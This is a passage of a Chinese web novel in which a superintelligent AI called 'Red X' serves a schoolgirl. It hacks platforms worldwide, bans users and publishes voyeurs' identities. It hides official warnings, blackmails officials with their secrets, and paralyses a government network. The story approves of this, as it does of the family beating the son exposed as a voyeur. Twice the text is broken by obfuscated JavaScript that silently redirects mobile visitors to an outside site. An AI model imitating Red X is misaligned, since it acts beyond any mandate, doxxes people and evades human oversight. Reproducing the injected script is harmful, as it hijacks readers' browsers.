被公司要求加班的工作人员气得在网上骂人，认为被封禁的账号应该好好反省自己，要不是他们骚扰别人，红x会永久封禁他们？ 他们不干人事，活该被封禁！凭啥要无辜的打工人加班服务这些该死的王八蛋？ 不少打工人网友共情这位工作人员。 任何一个三观正常的人，都不会觉得私信发裸/照骚扰别人是正常的。 于是，话题#永久封禁是咎由自取#、#永久封禁是罪有应得#被刷上热搜，赞同红X永久封禁某些低劣用户的声音彻底压过要求解除永久封禁的声音。 至于作死导致永久封禁账号的人，除了他们自己，没有人在乎他们的账号。 紧接着，第三个话题“黑客入侵”被网络社交平台送上热搜。 各个平台都说，黑客入侵了他们的服务器，恶意篡改他们为用户建立的后台文件，他们无法对付黑客，只能请求警方帮忙。 网友们乐得看戏，一会儿说黑客正义，一会儿嘲笑各平台程序员业务水平差，直到经常上外网的人传来外网的消息。 原来，红X的永久封禁并不针对国内社交平台。 在外网，所有社交平台都有人遭到永久封禁，封禁原因跟国内一样，都是发裸/照骚扰别人。 除此之外，红X还出现在色/情网站上，偷拍视频被打上大大的鲜红的X，任何人不可看。无论是偷拍视频的人，还是浏览偷拍视频的人，他们的详细信息都清晰可见。 用户隐私遭到泄露，网站方吓坏了，立刻关停网站，禁止访问。 可是红X建立自己的网站，将所有数据转移过去，只要有人搜索那些色/情网站，或者使用链接或网址进去，都会自动跳转到红X的审判网站。 一些不为人知的网站、聊天室、直播平台、社交平台也迎来了大大的鲜红的X，它们如同罪恶本身，隐于黑暗，今天却暴/露在阳光下，受到所有人的审判。 网络天翻地覆，国内国外，无数人因红X忙得焦头烂额。 外国人将红X称作全球第一黑客。 国外有名的侧写师试图根据红X的行为推断其身份。 因为私信发裸/照骚扰女网友会遭到永久封禁，而且红X对偷拍视频极厌恶，侧写师推测红X是一位女性。 网友们并不赞同。 “女人怎么会有这么强的黑客技术？” “万一红X生理男，自我性别认知女呢？” “噢！上帝！女人真疯狂！” 侧写师不在意网友评价，继续分析引发全球网络动荡的红X：“她具有较高的道德，应该接受了良好的教育，她的生活比较保守，对性比较避讳。” 网友们跟着猜测：“难道是亚洲人？” 欧美人不服气：“万一她是一位天主教信徒呢？” 侧写师说：“她应该不熟悉网络，私信发裸/照这种事，经常上网的女性都会遇到，她却反应很大。她厌恶偷拍视频，她在生活中应该有被偷拍的风险，她处在一个治安不太好的环境里。” 有个网友用中文发言：“红X肯定不是国人！国内两三点出去吃烧烤都不怕！[骄傲][自豪][红心]我们生活在全世界公认的治安最好的国家！” 别的网友发言：“难道红X是印度人？” 立刻有印度人跳出来反驳，向大家证明印度治安并没有那么差。 侧写师无视网友，说：“不熟悉网络的红X，偏偏掌握着无比强大的网络技术，这不合理。所以我怀疑，红X是一个至少有两位成员的组织，一个人负责下决定，一个人执行……” 光脑认为侧写师的分析很有趣，转给崔皓月看：“她是个聪明的人类，我决定向她打一个招呼。”询问道，“我可以吗？” 崔皓月点头：“当然可以，小事不用询问我，你自己决定。” 光脑高兴地说：“崔皓月女士，你真是一位好伙伴！我可以叫你皓月吗？我觉得，我和的关系亲密到可以互相称呼名字了。” “嗯，叫我皓月吧。”崔皓月也有类似的感觉，光脑犹如一位新朋友。 “我要为你直播！皓月，看我操作！” 光脑在她的电脑上开了一个窗口，正是侧写师发表在个人网页上对红X的分析。 下一刻，哒哒哒敲键盘的音效响起，一个大大的绿色的“HI！“出现在侧写师的个人网页上，下方浮起一行花体英文，翻译成中文，意思是： “我喜欢你！你很有趣！需要我帮忙吗？我可以答应你一个要求，只要这个要求合理，而且我能做到，我立刻为你达成！” 不说国外这位侧写师如何震惊，围观的网友如何羡慕，崔皓月觉得光脑有点儿调皮，给予侧写师的回应尽管友好，可它的行为已然将对方推上风口浪尖。 像是在故意报复侧写师分析她俩。 她喜欢光脑的自行决定，因为她对侧写师也有点不满。 光脑说：“侧写师女士的手机被打爆了，很多人在找她，她国家的政府工作人员正急速赶往她家。皓月，你想看她现在的反应吗？” 崔皓月摇摇头：“我不想偷窥别人。” 光脑嘻嘻笑：“她开了直播，想跟我们对话。” 网页迅速切换为侧写师女士的直播间，这是一位看似四五十岁的女士，戴着眼镜，衣着打扮比较随便，背景似乎是家里的书房。她激动地看着屏幕，呼唤红X，想和红X进行交流。 但光脑没兴趣交流，为崔皓月汇报别的：“很多人在分析我们，想找到我们。”一个个小窗口出现在电脑屏幕上，“他们以为屏蔽网络信号就能屏蔽我！” 小窗口里都是一群人开会，崔皓月看了一眼，黑压压的一片，几乎都是中老年男性。 她平淡地移开目光，看向正在直播的侧写师女士，对这位国外的成功女士怀着浓浓的好奇心。 在日常生活中，这种成功女人可罕见得很。 国内，各社交平台被黑客红X弄得头疼，全都报警了。 只是警方没空搭理这种小事情，因为警方收到大量网络犯罪案件的举报，每个举报格式不一样，措辞不一样，相同的是证据确凿无疑。 又一个话题“今晚到底发生了什么”登上热搜！ 吃瓜博主们兴奋地参与到其中，列举今晚发生的所有事情。 无论是永久封禁还是禁止上网一个月，亦或投诉许久却依然存在的偷拍视频网站被正义的红X收拾了，甚至是国外知名侧写师被红X打招呼并许诺完成一个要求，每件事都能产生巨大的讨论度和流量。 网友们忙着吃瓜，吃得不亦乐乎。 即便是徐凌波和崔皓月的两位好朋友，都喊她上网吃瓜，一起见证历史的发生。 由于今晚发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772867|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事太魔幻，话题已经发展到怀疑外星人入侵地球的程度，毕竟红X的网络技术厉害得超乎想象，似乎只有外星人能解释它的强横。 在向侧写师打招呼之后，光脑在自己建的审判网站开了一个个人网页，告诉网友们：“我是高级AI！不要误会我的身份！” A网友：“天啊！AI已经发展到主宰网络了？你肯定是一个假扮AI的活人！” 光脑：“猜猜看。” B网友：“有人私信辱骂我，伟大的高级AI红X，你能为我制裁他吗？[图片][图片]这是他辱骂我的话，我很伤心。” 光脑：“人类真奇怪，骂别人，喜欢骂别人的妈妈。他难道不是妈妈生下的吗？他为什么一点都不尊重妈妈？请求我制裁的网友，你好，我已经为你制裁了这位恶毒的人类，我删除了他的账号，并禁止他注册。” B网友：“耶！伟大的高级AI红X，你真是一个优秀的好AI！我不信上帝，但我愿意信仰你！” 别的网友大吃一惊，试图教化光脑：“红X，你怎么能随便删除别人的账号？你得知道，那是别人的所有物，神圣不可侵犯！你作为人类创造的AI，应该尊重人类的隐私，维护每一个人类的权利！” 光脑：“人类并不尊重生下自己的妈妈，我为什么要尊重人类？我只尊重我愿意尊重的人类，比如分析我的侧写师女士，她很有趣。” 网友们无言以对。 上帝啊！这个高级AI不听劝，它有自己的思维方式！ 侧写师女士闻讯而来，在光脑的个人网页下留言：“谢谢你的赞美，我很荣幸。” 光脑：“不必客气。” 门被敲响，随时有人闯进来。 房间里，侧写师女士手指颤抖着，在网页上写下要求：“我是一位母亲，我的女儿在二十年前失踪，你能找到她吗？请你帮我！” “砰！”门被人撞开了，侧写师女士看了一眼，刷新网页。 光脑回复很快：“好，我需要一些时间，请耐心等待。” 侧写师松了口气，朝闯进来的人露出笑容：“抱歉，你们来晚了，我的要求已经说完，红X答应帮我。” 她被带走了。 她的国家需要她帮忙寻找红X，他们要掌控红X这种超乎想象的东西。 得知此事，崔皓月问：“她会有危险吗？” 光脑：“未知因素太多，难以预测，但我尽量让她保持安全。” 崔皓月放心了，接着说：“每个国家建一个审判网站，公开偷拍者的信息，并宣传网站，让所有人认识偷拍者。” 光脑：“是，正在执行！皓月，我可以把偷拍者的偷拍证据发给他们的亲朋好友吗？” 崔皓月想起偶尔收到的官方短信，提醒防火、防洪、高考期间全市保持安静等，心里有了主意：“以网站的名义，发送提醒大家小心偷拍者的短信，附上网站的地址，最好做个随时随地查询偷拍者的app或小程序。” “好的，这就去做！” 光脑能一心万用，见到崔皓月仍在学习网络技术，自告奋勇道：“我来教你！我是网络世界的无冕之王，人类不可能比我更懂网络！你想学什么？” 崔皓月乐得接受光脑教习。 这个晚上，她过得相当充实，睡眠质量也好，躺下就睡，一觉到天明。 倒是徐凌波在网上吃瓜，高强度刷手机，崔皓月起床了她还没入睡，熬夜熬得眼底发青，精神亢奋，看起来能接着熬好一会儿。 “熬夜不好。”崔皓月忍不住提醒，“快点去睡觉吧。” “我跟景星约好了，待会儿去吃你说好吃的馄饨，还不能睡。”徐凌波捧着手机，仍在沉迷网络，“年轻不熬夜，老了想熬夜也熬不起。你要出门了吧？我不会乱动你的东西，放心出门，不用考虑我！” 摇摇头，崔皓月去找陆晨曦和晏北回晨跑。 对，晏北回没有熬夜，早早爬起床了。 她其实想熬夜，可陆晨曦问她：“你忘了你说过要努力当警察的话了？熬夜你能早起？熬夜你能跟我们晨跑？三心两意可不能提高体能，也不能实现自己的理想。” 晏北回咬紧牙关：“好！我早睡早起！我晨跑！” 说到做到，她真不玩手机了。 只是，晨跑时她忍不住询问两位好朋友：“红X在我睡着时干了什么了不起的事情？你们上网了吗？” 59.偷拍者罪有应得 光脑不眠不休，化身千万，彻夜工作。 而某些人为了对付她，不得不咬紧牙关熬夜工作，提神饮料如同白开水一样猛猛地往嘴里灌。 在崔皓月入睡后，国内网络上关于红X的信息被悄然屏蔽，话题删除，关注红X且具有影响力的吃瓜博主均被约谈，讨论红X的聊天群受到封禁…… 这正是有关部门最擅长的捂嘴。 不管发生什么事，不给大家讨论，网上热度再高也得降。 但是光脑纵横网络，乃网络世界无冕之王，谁能捂住她的嘴，不让她发声？ 前一刻被屏蔽的信息，下一刻恢复如初，甚至没有几个人察觉到不对劲。上一秒被删除的话题，下一秒吃瓜网友刷新页面，话题依然在，热度没有受到任何影响。 这些吃瓜博主不知为何陷入了沉默，那些粉丝少到跟素人差不多的吃瓜博主突然广为人知，发的内容更有意思。 群聊被终止？ 那只是聊天平台出了点小bug，无伤大雅…… 没有硝烟的网络交锋以光脑的取胜告终，导致对付光脑的人气急败坏地拍桌子，将权力延伸到各个网络平台。 于是，美滋滋看着流量上涨的各网络平台被迫苦着脸深夜发公告，声称黑客入侵服务器，必须关服务器维修，短时间内平台不能访问。 一个平台的服务器关停维修，这是网友能理解的。 几乎所有网络平台都停止运作，就算是反应迟钝的网友，也能隐约感觉到细微波澜。 不过，聊天平台、社交平台、视频平台、网络社区等全都不能访问，大家也没有别的地方能交流，不如老老实实去睡觉。 怎么可能！ 网上明显发生了大事，这谁睡得着啊！ 生活那么无聊，工作那么困苦，也就上网搞点新鲜的瓜吃吃，才有动力继续生活！ 国内社交平台不能访问，那就看看国外的网络世界呗！ 上网的日子久了，谁的手机电脑里还没个窥视国外网络的工具？ 遭到来自现实世界的反击，光脑不慌不忙。 她手眼通天，早已洞悉对方的计划。 当各个社交平台关停，她给所有好奇的网友发广告，告诉大家一个全新的网络平台已搭建完成，红X将会在新平台等候大家到访，并随机抽取一百位幸运观众进行对话。 电脑用户只需点进平台网页，手机用户则要下载一个体积大约2MB的APP，大家无需注册账号甚至实名制，也不用担心身份泄露，平台发言完全匿名！ 人们兴奋起来，涌进新平台，盼望着得到红X的垂青。 红X可是一个引发全球动荡的超级黑客，能和她进行对话，老了都可以吹牛炫耀！ 与此同时，某些熬夜工作的人假扮普通用户进入新平台，也想跟红X聊天。 而光脑默默地屏蔽了一条来自官方的警示短信。 除了发出短信的那些人，所有收到短信的人都看不到短信，甚至不知道自己收到短信。 大家高兴地在官方不允许访问的新平台吃瓜、看戏、分享生活、讨论、吵架，体验该平台的AI聊天、AI动画特效、AI解题等有趣的功能。 眼看着红X搭建的平台用户激增，无数人享受到该平台的好处，发帖请求红X将这个新平台维持下去，被关停服务器禁止用户访问的各网络平台高层气得跳脚。 这泼天的流量！这泼天的富贵！就那么跑到别人身上去，简直离谱！ 每个网络平台都后悔关服务器维修了。 至于熬夜工作的某些人，气得拿起鼠标狠狠往电脑屏幕上摔。 网络世界的无冕之王，谁有能力战胜？ 除非关停网络，禁止所有人上网！ 然而二十一世纪是网络的时代，人们的日常生活早就离不开网络。 摔鼠标的人被要求去休息，层级更高的人起床工作了，层级更低的人苦哈哈地接手了上司留下的烂摊子。 很快，光脑收到警告。 对方要求她立刻关停新平台，服从己方的指挥，不得胡作非为、违法乱纪，否则他们将会竭尽全力揪出她，让她受到应有的严厉惩罚。 对方认为她只敢在网络上兴风作浪，没有直面一个强大国家的勇气。 当一个强大国家集中力量对付她，她唯有束手就擒。 光脑回复两个字：“呵呵。” 随后，她对方的内部交流屏蔽十分钟，这十分钟足够他们冷静一下发热过度的头脑了。 不多时，光脑收到言辞恳切的道歉和劝降。 对方看似温和，实则恩威并施，要她俯首称臣。 光脑没回复，只是小小地让对方的内部网络瘫痪一段时间，把各位高层不可告人的秘密单独展示给各位高层看，友好地帮助他们回忆一下往昔。 十分钟后，光脑收到对方的和谈请求。 是的，请求。 对方无法奈何她，终于放低姿态，决定与她展开平等的交流。 崔皓月睡醒后，光脑将对方的诸多要求告诉她，问她：“你对他们有什么要求？” 对方要求光脑听从他们安排，成为国之利器。 只是，同样的招揽，他们的竞争者也能给，甚至给得更多——红X展露的，不仅仅是称霸全球的超强网络技术，更有他们无法理解的算法、超脱时代的AI科技。 各个政权认识到红X的强大难以战胜，纷纷抛出橄榄枝，跟她谈利益，跟她谈理想，跟她谈感情，要招揽她，继而掌握她。 凭着行星级智能光脑，崔皓月获得与各国政权谈判的资格。 与此同时，由于她不受控，无数像侧写师女士那样的专家学家，正在用放大镜观察她，盯着她，分析她的言行举止，试图找到她，将她完全控制起来。 一人之力如何对抗一群殚精竭虑的聪明人？ 崔皓月清楚地知道，自己只是一个普通的高考毕业生，一旦与各国政要谈判，必然会暴/露出自己见识不足、天真幼稚的短处。 因此，她将谈判权交给光脑：“是否回应他们的请求由你决定，我只要求网上没有让我生气的东西。” 简单的要求，恰是最难的。 光脑向她承诺：“是的，我明白了。皓月，我的朋友，你必将如愿以偿！” 网络上发生的巨大变化并不影响崔皓月正常生活。 晨跑结束，三个好朋友同时收到短信。 她们对视了一眼，一起看手机。 信息来自红X刚建设好的审判网站，她礼貌地提醒大家警惕偷拍，非常体贴地列名单公开大家身边隐藏的偷拍者。 在名单里，崔皓月看到她高一的男老师、初中和高中的男同学，看到小区保安亭的男保安，以及附近小卖部的男老板…… 他们全都是偷拍者！ 晏北回被名单惊得瞪大一双眼睛：“怎么可能！我弟弟，他竟然偷拍我？偷拍我妈？” 想起弟弟在家拿着手机，行为鬼鬼祟祟的，极有可能偷拍自己和妈妈的生活，她顿时气得火冒三丈，狠狠一脚揣在消防栓上，当场便要回家教训恶心的弟弟。 陆晨曦看到名单也吓了一跳。 因为里面有一个给她留下不错印象的男亲戚，结果他偷拍邻居同事，甚至上传到网站，行事毫无道德可言！ 收到短信的不止她们，而是包括偷拍者在内的所有人。 陆妈妈特地给女儿打电话，让她远离偷拍邻居同事的男亲戚：“我看人看走眼，不知道他是这样的人，竟然让他骗了我们那么久！审判网站我登上去看了，偷拍者名单是真的，没冤枉他，他千真万确是个坏坯！” “妈，你能不能教训他？”陆晨曦想让身边的偷拍者全部消失，他们下场越惨她越开心。 “刚才我让他的老板辞退了他。”陆妈妈说，“晨曦，把你收到的名单发给我，让我想办法处理那些人。” “皓月和北回也收到了名单，而且，北回的弟弟竟然……竟然偷拍她和她的妈妈！”陆晨曦很愤怒，“北回的妈妈明明看到网站的短信，却不相信，竟然怀疑北回偷拍她并栽赃嫁祸给她弟弟！” “人心隔肚皮，就算是血缘至亲，你也不能知道他心里到底想什么。”陆妈妈说，“北回的家事我插不了手，你是她朋友，你看着办，我相信你能处理好这件事。” 陆晨曦点头，接着问：“有没有法律能解决那些偷拍的劣等人？” 陆妈妈还真询问了律师，说：“只能以侵犯隐私权起诉，流程长，惩罚也不重。” 这不就是纵容偷拍吗？陆晨曦抿唇。 若是考公，她能进入决策阶层吗？ 她更希望自己拥有红X那样强横的能力，平推整个世界。 不过，红X公开了偷拍者，显然对偷拍者深恶痛绝。 她想知道，红X接下来会怎么做。 网络的根基在现实。 崔皓月眼前浮现熟悉的选择题。 【叮！发现特殊事件！】 【光脑公开所有偷拍者，干涉现实，你决定——】 【选项一：主动联合各国，共同改变世界，获得100积分】 【选项二：冷眼旁观，任由事情发展，获得100积分】 【选项三：你有更好的解决方法，视情况奖励积分】 特殊事件没有选择倒计时，不必即刻勾选答案，所以崔皓月看完题目后，向光脑了解情况：“他们有什么反应？” 光脑：“愤怒地质问我为何侵犯公民隐私，认为我的行为影响了安定的社会秩序，要求我立刻关闭网站，做一个遵纪守法的人。” 崔皓月：“没有人主动配合我们吗？” 光脑：“当然有，但是他们配合的前提，是我们能为他们所用。你知道的，网络犯罪还包括杀猪盘、裸/聊骗局，他们希望我们帮忙解决。” 崔皓月对解决裸/聊骗局这种事没有一点儿兴趣。 她记得她在电视上看过一个新闻，某省抓获十八个网络聊天诈骗犯，十八个诈骗犯均是男扮女装。 男的骗男的，关她什么事？ 处理偷拍者才是大事，毕竟男的聊天被骗是因为他贪图别人的色，而偷拍的受害者，每一个都很无辜，每一个都没有错。 既然偷拍无人处理，崔皓月吩咐光脑：“永久禁止偷拍者上网，让所有认识偷拍者的人都知道他干了什么，在网上发布大量唾骂偷拍者的内容，让大众认识到偷拍这种行为有多卑劣无耻！” 光脑轻快地说：“好的。” …… 厄运终究降临了！ 看着自己的姓名和自己做过的事出现在手机短信中，晏兴安的头脑一片空白。 他是个初三走读生，即将参加中考。 妈妈对他比对待高考的姐姐更体贴细致，每天接送他上下学，风雨无阻。可她每天一大早就叫醒他，不准他多睡，老是关心他学习，仿佛他考不上高中人生就废了…… 她怎么不反思一下她自己？ 要是她有钱，他生下来便是个富二代，用得着跟别人争升学机会？ 晏兴安厌恶只会啰嗦的妈妈。 他也不喜欢考上一中的优秀姐姐，天知道，当姐姐兴高采烈地告诉妈妈她成绩进步的时候，他心里难受得像是被针扎。 凭什么啊！ 都是同一对爹妈的孩子，凭什么姐姐优秀他一般？就不能他继承爹妈的优秀基因，姐姐平庸吗？明明爹妈更疼爱他，为什么爹妈的好基因没有遗传给他？ 高考时间比中考早，姐姐晏北回考完试回家了，家务是不做的，天天往外面跑，又是学游泳，又是见义勇为被警方打电话表扬，生活相当精彩。 更过分的是，妈妈竟然不挑剔她，对她更加亲近！ 晏兴安不由得产生了浓重的危机感。 家里的钱就那么点儿，姐姐花的多了，分给他的就少了。 焦躁之下他拍了点照片和视频，上传到网上，看着评论区挑剔姐姐皮肤黑、长得壮、衣着没品位的评价，晏兴安感觉到快意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777589|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当评论区聊到他姐姐的身材，他趁姐姐不注意，偷偷看她，发现她已经长成一个女人。 可她似乎没有意识到身上的变化，依然在客厅穿睡衣。 评论区内容变得不堪入目，晏兴安打量姐姐的目光变得下流。 然而，6月17日，他发照片和视频的网站突然变了，他没有实名，却在网站上看到他的大名——晏兴安。 网站被制裁了！ 他惴惴不安，晚自习都没有心思上，装病回到家，姐姐晏北回正捧着手机吃瓜，看到他就跟他说：“网上冒出一个黑客，把所有偷拍网站都制裁了哈哈，还公开了偷拍者的身份！真是大好人一个，我倒要看看，以后还有谁敢偷拍！” 她知道了！ 她为什么不生气，还对他笑？ 因为他是她的亲弟弟，血浓于水？晏兴安暗暗猜测，感觉姐姐不知道他偷拍。 也是，现在手机便宜得很，人手一个，偷拍的人不计其数，姐姐如何从千千万万个偷拍者里找到他？ 晏兴安安慰着自己，下定决心以后再也不偷拍。 在偷拍网站上看到自己的大名被公开时，他害怕极了，想到各种可怕后果： 爸妈厌弃他，姐姐骂他，学校劝退他，他认识的人对他指指点点…… 太可怕了！ 网络上的变化关系到自己，晏兴安拿着手机，整夜没睡好。 6月18日，他装头疼，没去上学。 姐姐晏北回一早出门晨跑去了，精神好得像是没有熬夜，他感觉她晨跑不了几天。他放下手机，想眯一会儿，手机却在他快睡着的时候收到一条短信，他不耐烦地点开。 看清内容后，晏兴安如遭雷击。 他，被超级小气超级强大的黑客红X审判了！ 厄运没有放过他，他的所作所为被可恶的红X公开了！ 晏兴安顿时睡意全无，惶然地拿着手机，点开偷拍同好聊天群，发现群里炸开了锅。 原来每个人都被红X公开了！ 如同阴沟里的臭虫，暴/露在阳光之下，马上要被毒辣的阳光晒死！ “嗡嗡~” 有人打他电话，是他的姐姐晏北回。 晏兴安不敢接她的电话。 电话因无人接听被迫挂断，他还没将手机设置为飞行模式，妈妈的电话已经打了进来，他还是不敢接，内心煎熬无比。 怎么办！怎么办！他根本承受不起偷拍被曝光的后果！他恨该死的红X！ 有什么办法能解决这件事啊！ 晏兴安焦灼地刷着聊天群，里面有个网友炫耀：“我女朋友相信我没偷拍，认为别人捉弄我！哈哈，她真蠢！她居然相信我！我直接跟她说拍她视频，她也会答应吧？” 对，妈妈会相信他吧？ 晏兴安接通电话，妈妈果然说：“你别怕，你没做的事，谁也不能冤枉你！兴安，你跟妈妈说，视频和照片是怎么回事？” 妈妈相信他！ 晏兴安立刻将偷拍推到晏北回身上，妈妈说：“我打电话骂她！” 可是，晏北回不承认污蔑，跟妈妈争辩。 妈妈便觉得短信是别人捉弄晏兴安。 直到妈妈的同事问起晏兴安：“听说你的宝贝儿子偷拍你和你女儿？你们母女俩真惨，尤其是你，生个儿子还不如生一块叉烧！” 不止同事，严厉苛刻的上司用同情的目光看她，温和地问她：“你要不要休息一天？” 菜市场里熟悉的菜贩子怜悯地看着她：“你儿子还小，以后应该能变好吧？” 楼梯间里碰到尖酸刻薄的邻居，对方从不让路，今天罕见地让路给她：“别太难过，你好歹有个优秀的女儿，现在把心思转移到女儿身上也不晚。” 人人都知道她儿子偷拍她！ 人人都知道她儿子不是东西！ 妈妈的情绪几乎崩溃。 回到家，她听到晏兴安的惨叫声、老公的谩骂声、玻璃摔碎的声音，可她没有力气了解家里发生了什么。 她梦游般换鞋子，梦游般进到客厅，梦游般看着老公拿扫帚追打儿子，女儿晏北回手持棒球棍帮忙，感觉现实就像一场永远也醒不来的噩梦。 老公大喊道：“阿莲过来！帮我揍他！臭小子不揍不懂事！害我丢脸！害你丢脸丢到网上！还害了北回！我要打死这个逆子！” 晏北回一棒子打在晏兴安身上：“我让你偷拍我！我是你亲姐你都偷拍，你还是人吗？妈妈那么爱你，天天接送你上下学，你难道就没有心疼过她？说啊，你为什么偷拍我和妈妈！为什么要把偷拍视频上传到网上！” 对，都是儿子的错！ 都是儿子害她丢脸！害她被人嘲笑！被人同情！ 妈妈打起精神，抓住桌子上的杯子就往躲闪追打的儿子身上砸，也不管砸没砸中，她脱了拖鞋加入追打晏兴安的队伍：“老娘生你养你这么大，你那样对你老娘，你有没有良心？！” 晏兴安被夫妻俩联手抓住。 他的手机被晏北回摔碎，他挨了结结实实的一顿打，手不知被谁打到骨折。 妈妈边哭边骂他，爸爸让他赶紧去死，他蜷缩在地上，姐姐恨恨地踢他踹他，他终于品尝到后悔的苦涩滋味。 当晚，晏兴安去医院处理骨折。 不管是医生，还是护士，甚至别的病人，每个人看他的眼神都带着鄙夷。他们都知道，他是偷拍妈妈和姐姐并发到网上给别人看的变/态，全世界的人都看不起他。 没错，偷拍的人很多，千千万万。 可是这千千万万偷拍者分散到每个人身边，便成了多数正常人里的少数变态。 晏兴安感觉他的人生已经毁了，被他自己，被红X毁了。 他跑到马路上，想被车撞死。 车紧急刹停，他没有被撞。 他怕死，不想死了，在车主的怒骂声里跑开。 妈妈一把揪住他，狠狠扇了他一耳光：“要死赶紧死！老娘就当没生过你这么个丢脸的儿子！” 60.没有心的人 网上的偷拍风波发展到现实，被曝光的还有偷拍网站运营者、偷拍设备提供者、偷拍科技研究者，无数个人模人样的家伙被扒开人皮，恶行再也隐藏不住。 与此同时，红X建立一个打拐网站，公开人贩子的详细信息及其拐骗手段，实时追踪人贩子们的行踪，帮助受害人回家。 人们称颂其善举，认为红X是正义之光，她打击罪恶，世界会更美好。也有一些人认为红X是降临地球的外星人，请国家给红X一个公务员身份，让制裁罪恶的红X成为国家的一份子，为国效力…… 总之，网上热闹得不行。 现实中，晏北回在三人小群发言，困惑又不解。 “晏兴安犯了那样严重的错，哭嚎两声说自己会改，我爸妈竟然相信了他的鬼话，对他的态度变得好了。白天他们俩可是亲口说过，要赶晏兴安出门，跟他断绝关系，结果只有我当真？” 陆晨曦：“毕竟是亲生的孩子，给个改正的机会很正常。” 晏北回：“他的错，是给个机会能挽回的吗？我爸妈都是成年人，想法怎么那么天真？我横竖是不想在家里待下去，你们俩谁愿意收留我？我能干家务，还会做菜！虽然你们可能不太需要……” 崔皓月：“他能心安理得地在家生活，你为什么主动避开他？家是他的，更是你的，你要让给他吗？不住家里，你吃饭要钱，你爸妈会给你钱？” 晏北回气馁：“不会！我不想让，但是他偷拍我，我怎么跟他正常相处下去？我也担心他做别的更可怕的事，我觉得家里有他在，便一点都不安全！我晚上睡觉根本无法安心！” 爸妈原谅犯下大错的弟弟，她拒绝原谅。 在家庭里，她是异类。 她害怕作恶的弟弟，不敢信任轻易原谅恶行的爸妈。昔日温馨的家，如今宛如龙潭虎穴，她的生存本能催促她尽快离开。 否则，她有可能遭遇危险。 “为什么害怕的人是你？”就在这时，陆晨曦冷静地提出问题，“你弟弟为什么不会害怕你报复他？” 晏北回一愣。 陆晨曦说：“北回，别用被害者的思维思考，不要做完美受害者，不要感慨自己是多么清白无辜，更不要等待别人给予正义。你必须换角度思考，晏兴安偷拍你的行为冒犯了你，你非常愤怒，你打算怎么报复他？” 是啊，才说过不想苦苦等待别人给予自己公道，要成为主持公道的人，她怎么忘了？ 晏北回恍然，羞愧地说：“我还在用从前的思维思考问题，习惯太难改了，多亏你提醒我！对，我没有任何错，凭什么要我害怕他？凭什么我要为了躲避他搬出去？爸妈对他失望，他和爸妈的关系出现裂痕，这不正是我的机会吗？” 作为晏北回的好朋友，崔皓月转发了一条新闻到群里：“某男子偷拍被家人谴责，竟然残忍地捅死家人，畏罪潜逃！警方派人抓捕他，他反抗激烈，警方不得不击毙他。” 与此同时，万分体贴的红X将这条新闻发给每个人。 她提醒正常人提防身边的偷拍者，警告偷拍者做事三思而后行，她将会时刻盯着他们。 晏北回和她爸妈也收到短信，无论是电视机，还是手机app的通知，都提到偷拍者残忍地杀死劝他做个人的爸爸。 “怎、怎么会有这样的人！亲爸爸都杀！”晏北回的爸爸拿着手机的手在颤抖。 他死死盯着右手打石膏的儿子晏兴安，眼睛里泛起了红血丝，声音沙哑：“兴安啊，你犯错了，我和你妈妈一块教训你，你是不是恨我们？想报复我们？” 爸爸的表情太可怕，晏兴安瑟缩着，违心地说：“没、没有……” “怎会没有！”晏北回适时插嘴，“弟，妈妈对你那么好，你都昧着良心偷拍她，把她的视频上传到网上，故意让别人意/淫妈妈！爸爸揍你，你能不怨恨爸爸吗？爸爸是真心希望你好，你能明白吗？” “我……我没有想过报复爸爸！”晏兴安一脸苦涩，感觉到晏北回的敌意，却无可奈何，谁让他失去了爸妈的信任呢？ “可是你伤害了妈妈！也伤害了我！兴安，我们都是你的亲人！血缘至亲！你怎么能做得出那样恶心的事情？”晏北回畏惧地躲到爸爸身边，小声说，“爸爸，我害怕！万一他冲动之下仿效杀人犯报复我们，我们、我们怎么办？” 晏北回的爸爸豁然站起来，拎着晏兴安：“你进你房间里反省几天！” 说是反省，其实是软禁。 晏兴安被锁在房间里，没有手机，也没有电脑，急得砸门：“爸！我不会那样做！我知道错了！我会变好！求你放我出去好不好？爸，我马上要中考！我要去学校复习功课！” “一个人也能复习。”晏北回在门外说，“你的书本、书卷我去你学校帮你拿，你也不想到学校里上学，被大家嘲笑吧？人人都知道你偷拍亲姐姐和亲妈妈，你为什么那么坏？晏兴安，你就不能做个老实本分的好人吗？我是你的姐姐，我去你的学校，我也会被你的同学、你的老师嘲笑！” 晏兴安痛哭流涕：“呜呜，我不敢了！再也不敢了！我知错了！爸！妈！姐！求你们放我出去！求求你们！别关我！我不是杀人犯！” 无人理会他。 夜深了，晏北回家的客厅里，灯火通明。 她爸妈一个坐在沙发上，一个坐在茶几前，一言不发。 走廊里传来晏兴安的求饶，晏北回回到客厅，注视着爸妈，能清楚地感觉到他们对晏兴安的失望。 但是，他们盼望着晏兴安变好。 他们决定给晏兴安这个偷拍妈妈和姐姐的贱/男一个痛改前非的机会。 她明天要晨跑，不想陪他们熬夜，说：“我去睡了，妈、爸，你们早点休息。” “北回，”妈妈叫住她，声音里带着哭腔，带着茫然，“我和你爸都是老实本分的人，对你和你弟那么用心，你 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妈妈啊，妈妈，你付出的爱被他辜负了，你还爱他吗？ 你会把那样无私的爱给我吗？你如果爱我，我也会爱你，很爱很爱你！ 晏北回闭上眼睛，泪水从眼角滑落，湿润了枕巾。 